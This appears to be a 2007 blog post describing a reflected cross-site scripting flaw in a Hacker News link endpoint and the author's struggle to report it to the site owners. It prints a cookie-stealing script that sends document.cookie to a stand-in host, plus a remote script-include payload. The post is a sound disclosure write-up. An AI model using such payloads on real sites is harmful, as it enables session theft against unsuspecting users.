March 8th, 2007

Cross-site scripting at YCombinator

Startup News does a lot of its work by stuffing a closure into a lookup table and putting the table key into a link that looks like this:

/x?fnid=key

When you click on the link, the closure for the key looked up, executed, and it does whatever work is necessary, including redirecting you to a new location at the end.

A couple days ago, I was trying to go to "news.ycombinator.com" but fat-fingered the history selection and went to to "news.ycombinator.com/x" instead. It displayed this message:

unknown or expired link: nil

Whoa, nil, cool! Time to fiddle with different parameters to "/x". Providing an arbitray value (say, "foobar") as fnid produced a message like this:

unknown or expired link: foobar

Next up was "%3Cb%3EHello", which produced:

unknown or expired link: Hello

Yep, that's right: arbitrary user-provided text presented without any filtering. Anyone could construct an URL to make the user's browser execute arbitrary Javascript in the context of news.ycombinator.com. You could steal authentication cookies with:

<script>
(new Image).src='http://example.com/cookie?'+escape(document.cookie);
document.location='/';
</script>

That script could even live on another server, and the fnid string could be as simple as "<script src='http://example.com/c.js'>".

Oops! So, the next step was to inform someone at news.ycombinator.com.

  • Check out the front page: the closest thing to a "Contact" link is "Feature Requests", which doesn't seem like quite the right forum.
  • An email to webmaster@ycombinator.com bounced with "No such user"
  • Ditto for postmaster@ycombinator.com
  • Several emails to pg@paulgraham.com (the contact listed on paulgraham.com) were rejected at the SMTP level due to what looked like aggressive spam filtering
  • I emailed Aaron Swartz, and he gave me an alternative email address for pg. A message there went unanswered.

I finally posted to the site itself: This site has an easy-to-fix security problem. Who can I inform? That got an immediate response. The problem was fixed several hours later.

So, the morals:

  • Don't display unfiltered user-provided text
  • Don't make it really hard to get in touch with you privately